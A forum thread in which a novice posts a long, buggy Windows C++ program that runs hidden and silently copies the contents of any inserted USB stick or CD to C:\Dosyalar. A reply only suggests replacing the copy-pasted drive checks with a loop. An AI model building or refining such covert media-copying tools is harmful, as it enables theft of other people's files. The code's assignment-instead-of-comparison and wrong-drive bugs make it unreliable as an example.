i need help badly

closed account (9wX36Up4)
Guys i know its nonsense to try to fix a program like that but all the codes like eachother so it is easy to find out what is the problem. would u pls help me??

i couldn't fix because i m a noob at c++. And the programs purpose is after i execute the program it creates a nonsense file that make me know the program is ready. than it checkes all the drivers is there a usb or cd that connected to the computer after the program executed. if the program finds a usb or cd it copies whatever inside the flash to the "C:\Dosyalar". But it doesn't work and i couldn't find out what is the problem. but it has a running time problem. And i use DEVc++.

Here is the codes. And it works hidden.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#include<windows.h>
#include<stdio.h>
#include<direct.h>

BOOL Kopyala(char r_szSrcPath[1024],char r_szDesPath[1024])
{
  WIN32_FIND_DATA FindFileData;
  HANDLE hFind;
  char l_szTmp[1025] = {0};
  memcpy(l_szTmp,r_szSrcPath,1024);


  char l_szSrcPath[1025] = {0};
  char l_szDesPath[1025] = {0};
  memcpy(l_szSrcPath,r_szSrcPath,1024);
  memcpy(l_szDesPath,r_szDesPath,1024);

  char l_szNewSrcPath[1025] = {0};
  char l_szNewDesPath[1025] = {0};

  strcat(l_szTmp,"*");

  hFind = FindFirstFile(l_szTmp, &FindFileData);
  if(hFind == NULL) return FALSE;

  do
  {

	  if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
	  {
		  if(strcmp(FindFileData.cFileName,"."))
		  {
			  if(strcmp(FindFileData.cFileName,".."))
			  {				
sprintf(l_szNewDesPath,"%s%s\\",l_szDesPath,FindFileData.cFileName);
					
sprintf(l_szNewSrcPath,"%s%s\\",l_szSrcPath,FindFileData.cFileName);
					CreateDirectory(l_szNewDesPath,NULL);
					Kopyala(l_szNewSrcPath,l_szNewDesPath);
			  }
		  }
	  }
	  else
	  {
		  char l_szSrcFile[1025] = {0};
		  char l_szDesFile[1025] = {0};
		  sprintf(l_szDesFile,"%s%s",l_szDesPath,FindFileData.cFileName);
		  sprintf(l_szSrcFile,"%s%s",l_szSrcPath,FindFileData.cFileName);
		  BOOL l_bRet = CopyFile(l_szSrcFile,l_szDesFile,TRUE);

	  }


  }
  while(FindNextFile(hFind, &FindFileData));
  FindClose(hFind);
  return TRUE;
}


//----------------------------------------------------------------------------------------------------------

int main(){
    int A ,B ,D ,E ,F ,G ,H ,I ,J ,K ,L ,M ,N ,O ,P ,Q ,R ,S ,T ,U ,V ,W ,X ,Y ,Z;
    
//A---------------------------------------------------------------------------------------------------------
    HANDLE Aflashbellek=CreateFile("A:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Aflashbellek==INVALID_HANDLE_VALUE)
       A=1;
  else{
       A=0;
       CloseHandle(Aflashbellek);
       }
       
//B---------------------------------------------------------------------------------------------------------
    HANDLE Bflashbellek=CreateFile("B:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Bflashbellek==INVALID_HANDLE_VALUE)
       B=1;
  else{
       B=0;
       CloseHandle(Bflashbellek);
       }
       
//D---------------------------------------------------------------------------------------------------------
    HANDLE Dflashbellek=CreateFile("D:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Dflashbellek==INVALID_HANDLE_VALUE)
       D=1;
  else{
       D=0;
       CloseHandle(Dflashbellek);
       }
       
//E---------------------------------------------------------------------------------------------------------
    HANDLE Eflashbellek=CreateFile("E:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Eflashbellek==INVALID_HANDLE_VALUE)
       E=1;
  else{
       E=0;
       CloseHandle(Eflashbellek);
       }
       
//F---------------------------------------------------------------------------------------------------------
    HANDLE Fflashbellek=CreateFile("F:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Fflashbellek==INVALID_HANDLE_VALUE)
       F=1;
  else{
       F=0;
       CloseHandle(Fflashbellek);
       }
       
//G---------------------------------------------------------------------------------------------------------
    HANDLE Gflashbellek=CreateFile("G:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Gflashbellek==INVALID_HANDLE_VALUE)
       G=1;
  else{
       G=0;
       CloseHandle(Gflashbellek);
       }
       
//H---------------------------------------------------------------------------------------------------------
    HANDLE Hflashbellek=CreateFile("H:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Hflashbellek==INVALID_HANDLE_VALUE)
       H=1;
  else{
       H=0;
       CloseHandle(Hflashbellek);
       }
       
//I---------------------------------------------------------------------------------------------------------
    HANDLE Iflashbellek=CreateFile("I:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Iflashbellek==INVALID_HANDLE_VALUE)
       I=1;
  else{
       I=0;
       CloseHandle(Iflashbellek);
       }
       
//J---------------------------------------------------------------------------------------------------------
    HANDLE Jflashbellek=CreateFile("J:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Jflashbellek==INVALID_HANDLE_VALUE)
       J=1;
  else{
       J=0;
       CloseHandle(Jflashbellek);
       }
       
//K---------------------------------------------------------------------------------------------------------
    HANDLE Kflashbellek=CreateFile("K:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Kflashbellek==INVALID_HANDLE_VALUE)
       K=1;
  else{
       K=0;
       CloseHandle(Kflashbellek);
       }
       
//L---------------------------------------------------------------------------------------------------------
    HANDLE Lflashbellek=CreateFile("L:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Lflashbellek==INVALID_HANDLE_VALUE)
       L=1;
  else{
       L=0;
       CloseHandle(Lflashbellek);
       }
       
//M---------------------------------------------------------------------------------------------------------
    HANDLE Mflashbellek=CreateFile("H:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Mflashbellek==INVALID_HANDLE_VALUE)
       M=1;
  else{
       M=0;
       CloseHandle(Mflashbellek);
       }

Last edited on
closed account (9wX36Up4)
and its next part


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
//N---------------------------------------------------------------------------------------------------------
    HANDLE Nflashbellek=CreateFile("N:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Nflashbellek==INVALID_HANDLE_VALUE)
       N=1;
  else{
       N=0;
       CloseHandle(Nflashbellek);
       }
       
//O---------------------------------------------------------------------------------------------------------
    HANDLE Oflashbellek=CreateFile("O:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Oflashbellek==INVALID_HANDLE_VALUE)
       O=1;
  else{
       O=0;
       CloseHandle(Oflashbellek);
       }
       
//P---------------------------------------------------------------------------------------------------------
    HANDLE Pflashbellek=CreateFile("P:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Pflashbellek==INVALID_HANDLE_VALUE)
       P=1;
  else{
       P=0;
       CloseHandle(Pflashbellek);
       }
       
//Q---------------------------------------------------------------------------------------------------------
    HANDLE Qflashbellek=CreateFile("Q:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Qflashbellek==INVALID_HANDLE_VALUE)
       Q=1;
  else{
       Q=0;
       CloseHandle(Qflashbellek);
       }
       
//R---------------------------------------------------------------------------------------------------------
    HANDLE Rflashbellek=CreateFile("R:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Rflashbellek==INVALID_HANDLE_VALUE)
       R=1;
  else{
       R=0;
       CloseHandle(Rflashbellek);
       }
//S---------------------------------------------------------------------------------------------------------
    HANDLE Sflashbellek=CreateFile("S:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Sflashbellek==INVALID_HANDLE_VALUE)
       S=1;
  else{
       S=0;
       CloseHandle(Sflashbellek);
       }
       
//T---------------------------------------------------------------------------------------------------------
    HANDLE Tflashbellek=CreateFile("T:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Tflashbellek==INVALID_HANDLE_VALUE)
       T=1;
  else{
       T=0;
       CloseHandle(Tflashbellek);
       }
       
//U---------------------------------------------------------------------------------------------------------
    HANDLE Uflashbellek=CreateFile("U:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Uflashbellek==INVALID_HANDLE_VALUE)
       U=1;
  else{
       U=0;       
       CloseHandle(Uflashbellek);
       }
       
//V---------------------------------------------------------------------------------------------------------
    HANDLE Vflashbellek=CreateFile("V:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Vflashbellek==INVALID_HANDLE_VALUE)
       V=1;
  else{
       V=0;
       CloseHandle(Vflashbellek);
       }
       
//W---------------------------------------------------------------------------------------------------------
    HANDLE Wflashbellek=CreateFile("W:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Wflashbellek==INVALID_HANDLE_VALUE)
       W=1;
  else{
       W=0;
       CloseHandle(Wflashbellek);
       }
       
//X---------------------------------------------------------------------------------------------------------
    HANDLE Xflashbellek=CreateFile("X:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Xflashbellek==INVALID_HANDLE_VALUE)
       X=1;
  else{
       X=0;
       CloseHandle(Xflashbellek);
       }
       
//Y---------------------------------------------------------------------------------------------------------
    HANDLE Yflashbellek=CreateFile("Y:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Yflashbellek==INVALID_HANDLE_VALUE)
       Y=1;
  else{
       Y=0;
       CloseHandle(Yflashbellek);
       }
       
//Z---------------------------------------------------------------------------------------------------------
    HANDLE Zflashbellek=CreateFile("Z:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Zflashbellek==INVALID_HANDLE_VALUE)
       Z=1;
  else{
       Z=0;
       CloseHandle(Zflashbellek);
       }

//-------DOSYAKONTROL---------------------------------------------------------------------------------------

  FILE * PROGRAMAKTIF;
  PROGRAMAKTIF = fopen("PROGRAM AKTİF.2pk","w+");
  fclose(PROGRAMAKTIF);
  
//-------ANAKLASÖROLUŞTURMA---------------------------------------------------------------------------------

  _mkdir("C:\\Dosyalar");

//-------BEKLETME-------------------------------------------------------------------------------------------

Sleep(15000);

//-------BASLANGIC------------------------------------------------------------------------------------------
  BASLANGIC:
       
  if(A==0)
       goto B_kontrol;
  else{
       HANDLE Aflashbellek=CreateFile("A:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Aflashbellek=INVALID_HANDLE_VALUE)
          goto B_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Aflashbellek");
          Kopyala("A:\\","C:\\Dosyalar\\Aflashbellek\\");
          CloseHandle(Aflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  B_kontrol:
  if(B==0)
       goto D_kontrol;
  else{
       HANDLE Bflashbellek=CreateFile("B:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Bflashbellek=INVALID_HANDLE_VALUE)
          goto D_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Bflashbellek");
          Kopyala("B:\\","C:\\Dosyalar\\Bflashbellek\\");
          CloseHandle(Bflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  D_kontrol:
  if(D==0)
       goto E_kontrol;
  else{
       HANDLE Dflashbellek=CreateFile("D:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Dflashbellek=INVALID_HANDLE_VALUE)
          goto E_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Dflashbellek");
          Kopyala("D:\\","C:\\Dosyalar\\Dflashbellek\\");
          CloseHandle(Dflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  E_kontrol:
  if(E==0)
       goto F_kontrol;
  else{
       HANDLE Eflashbellek=CreateFile("E:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Eflashbellek=INVALID_HANDLE_VALUE)
          goto F_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Eflashbellek");
          Kopyala("E:\\","C:\\Dosyalar\\Eflashbellek\\");
          CloseHandle(Eflashbellek);
          return 0;
          }
       }
closed account (9wX36Up4)
and its next part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
//------------------------------------------------------------------------------------------------------------
  F_kontrol:
  if(F==0)
       goto G_kontrol;
  else{
       HANDLE Fflashbellek=CreateFile("F:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Fflashbellek=INVALID_HANDLE_VALUE)
          goto G_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Fflashbellek");
          Kopyala("F:\\","C:\\Dosyalar\\Fflashbellek\\");
          CloseHandle(Fflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  G_kontrol:
  if(G==0)
       goto H_kontrol;
  else{
       HANDLE Gflashbellek=CreateFile("G:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Gflashbellek=INVALID_HANDLE_VALUE)
          goto H_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Gflashbellek");
          Kopyala("G:\\","C:\\Dosyalar\\Gflashbellek\\");
          CloseHandle(Gflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  H_kontrol:
  if(H==0)
       goto I_kontrol;
  else{
       HANDLE Hflashbellek=CreateFile("H:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Hflashbellek=INVALID_HANDLE_VALUE)
          goto I_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Hflashbellek");
          Kopyala("H:\\","C:\\Dosyalar\\Hflashbellek\\");
          CloseHandle(Hflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  I_kontrol:
  if(I==0)
       goto J_kontrol;
  else{
       HANDLE Iflashbellek=CreateFile("I:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Iflashbellek=INVALID_HANDLE_VALUE)
          goto J_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Iflashbellek");
          Kopyala("I:\\","C:\\Dosyalar\\Iflashbellek\\");
          CloseHandle(Iflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  J_kontrol:
  if(J==0)
       goto K_kontrol;
  else{
       HANDLE Jflashbellek=CreateFile("J:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Jflashbellek=INVALID_HANDLE_VALUE)
          goto K_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Jflashbellek");
          Kopyala("J:\\","C:\\Dosyalar\\Jflashbellek\\");
          CloseHandle(Jflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  K_kontrol:
  if(K==0)
       goto L_kontrol;
  else{
       HANDLE Kflashbellek=CreateFile("K:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Kflashbellek=INVALID_HANDLE_VALUE)
          goto L_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Kflashbellek");
          Kopyala("K:\\","C:\\Dosyalar\\Kflashbellek\\");
          CloseHandle(Kflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  L_kontrol:
  if(L==0)
       goto M_kontrol;
  else{
       HANDLE Lflashbellek=CreateFile("L:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Lflashbellek=INVALID_HANDLE_VALUE)
          goto M_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Lflashbellek");
          Kopyala("L:\\","C:\\Dosyalar\\Lflashbellek\\");
          CloseHandle(Lflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  M_kontrol:
  if(M==0)
       goto N_kontrol;
  else{
       HANDLE Mflashbellek=CreateFile("M:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Mflashbellek=INVALID_HANDLE_VALUE)
          goto N_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Mflashbellek");
          Kopyala("M:\\","C:\\Dosyalar\\Mflashbellek\\");
          CloseHandle(Mflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  N_kontrol:
  if(N==0)
       goto O_kontrol;
  else{
       HANDLE Nflashbellek=CreateFile("N:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Nflashbellek=INVALID_HANDLE_VALUE)
          goto O_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Nflashbellek");
          Kopyala("N:\\","C:\\Dosyalar\\Nflashbellek\\");
          CloseHandle(Nflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  O_kontrol:
  if(O==0)
       goto P_kontrol;
  else{
       HANDLE Oflashbellek=CreateFile("O:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Oflashbellek=INVALID_HANDLE_VALUE)
          goto P_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Oflashbellek");
          Kopyala("O:\\","C:\\Dosyalar\\Oflashbellek\\");
          CloseHandle(Oflashbellek);
          return 0;
          }
       }
Last edited on
closed account (9wX36Up4)
and its last part is

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
//------------------------------------------------------------------------------------------------------------
  P_kontrol:
  if(P==0)
       goto Q_kontrol;
  else{
       HANDLE Pflashbellek=CreateFile("P:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Pflashbellek=INVALID_HANDLE_VALUE)
          goto Q_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Pflashbellek");
          Kopyala("P:\\","C:\\Dosyalar\\Pflashbellek\\");
          CloseHandle(Pflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  Q_kontrol:
  if(Q==0)
       goto R_kontrol;
  else{
       HANDLE Qflashbellek=CreateFile("Q:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Qflashbellek=INVALID_HANDLE_VALUE)
          goto R_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Qflashbellek");
          Kopyala("Q:\\","C:\\Dosyalar\\Qflashbellek\\");
          CloseHandle(Qflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  R_kontrol:
  if(R==0)
       goto S_kontrol;
  else{
       HANDLE Rflashbellek=CreateFile("R:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Rflashbellek=INVALID_HANDLE_VALUE)
          goto S_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Rflashbellek");
          Kopyala("R:\\","C:\\Dosyalar\\Rflashbellek\\");
          CloseHandle(Rflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  S_kontrol:
  if(S==0)
       goto T_kontrol;
  else{
       HANDLE Sflashbellek=CreateFile("S:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Sflashbellek=INVALID_HANDLE_VALUE)
          goto T_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Sflashbellek");
          Kopyala("S:\\","C:\\Dosyalar\\Sflashbellek\\");
          CloseHandle(Sflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  T_kontrol:
  if(T==0)
       goto U_kontrol;
  else{
       HANDLE Tflashbellek=CreateFile("T:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Tflashbellek=INVALID_HANDLE_VALUE)
          goto U_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Tflashbellek");
          Kopyala("T:\\","C:\\Dosyalar\\Tflashbellek\\");
          CloseHandle(Tflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  U_kontrol:
  if(U==0)
       goto V_kontrol;
  else{
       HANDLE Uflashbellek=CreateFile("U:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Uflashbellek=INVALID_HANDLE_VALUE)
          goto V_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Uflashbellek");
          Kopyala("U:\\","C:\\Dosyalar\\Uflashbellek\\");
          CloseHandle(Uflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  V_kontrol:
  if(V==0)
       goto W_kontrol;
  else{
       HANDLE Vflashbellek=CreateFile("V:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Vflashbellek=INVALID_HANDLE_VALUE)
          goto W_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Vflashbellek");
          Kopyala("G:\\","C:\\Dosyalar\\Vflashbellek\\");
          CloseHandle(Vflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  W_kontrol:
  if(W==0)
       goto X_kontrol;
  else{
       HANDLE Wflashbellek=CreateFile("W:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Wflashbellek=INVALID_HANDLE_VALUE)
          goto X_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Wflashbellek");
          Kopyala("W:\\","C:\\Dosyalar\\Wflashbellek\\");
          CloseHandle(Wflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  X_kontrol:
  if(X==0)
       goto Y_kontrol;
  else{
       HANDLE Xflashbellek=CreateFile("X:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Xflashbellek=INVALID_HANDLE_VALUE)
          goto Y_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Xflashbellek");
          Kopyala("X:\\","C:\\Dosyalar\\Xflashbellek\\");
          CloseHandle(Xflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  Y_kontrol:
  if(Y==0)
       goto Z_kontrol;
  else{
       HANDLE Yflashbellek=CreateFile("Y:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Yflashbellek=INVALID_HANDLE_VALUE)
          goto Z_kontrol;
       else{
          _mkdir("C:\\Dosyalar\\Yflashbellek");
          Kopyala("Y:\\","C:\\Dosyalar\\Yflashbellek\\");
          CloseHandle(Yflashbellek);
          return 0;
          }
       }
//------------------------------------------------------------------------------------------------------------
  Z_kontrol:
  if(Z==0){
       Sleep(15000);
       goto BASLANGIC;
       }
  else{
       HANDLE Zflashbellek=CreateFile("Z:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
       
       if(Zflashbellek=INVALID_HANDLE_VALUE){
          Sleep(15000);
          goto BASLANGIC;
          }
       else{
          _mkdir("C:\\Dosyalar\\Zflashbellek");
          Kopyala("Z:\\","C:\\Dosyalar\\Zflashbellek\\");
          CloseHandle(Zflashbellek);
          return 0;
          }
       }
}
good GOD man.

If you find yourself naming things like "foo", "foo1", "foo2", "foo3" or "A", "B", "C", etc. Then you're doing it wrong.

Copy/pasting the same code 26 times is also a big sign that you're doing it wrong.

Read up on arrays and for loops. This same code could be done in like 40 lines.


EDIT:

To be a little more helpful, this is what I mean by using arrays and loops:

BAD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//A---------------------------------------------------------------------------------------------------------
    HANDLE Aflashbellek=CreateFile("A:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Aflashbellek==INVALID_HANDLE_VALUE)
       A=1;
  else{
       A=0;
       CloseHandle(Aflashbellek);
       }
       
//B---------------------------------------------------------------------------------------------------------
    HANDLE Bflashbellek=CreateFile("B:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
    
  if(Bflashbellek==INVALID_HANDLE_VALUE)
       B=1;
  else{
       B=0;
       CloseHandle(Bflashbellek);
       }
// .. repeat for A-Z 


BETTER
1
2
3
4
5
6
7
8
9
10
11
12
13
HANDLE flashbellek[26];  // 26 HANDLES, one for each drive letter

for(int i = 0; i < 26; ++i)
{
  char drivename[] = "A:";
  drivename[0] += i;  // change 'A' to 'B' or 'C' or whatever the drive letter is

  flashbellek[i] = CreateFile(drivename,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
  if(flashbellek[i] != INVALID_HANDLE_VALUE)
  {
    CloseHandle(flashbellek[i]);
  }
}


See... you just write the code once and loop over it to do it multiple times.
Last edited on
closed account (9wX36Up4)
thank u Disch
Topic archived. No new replies allowed.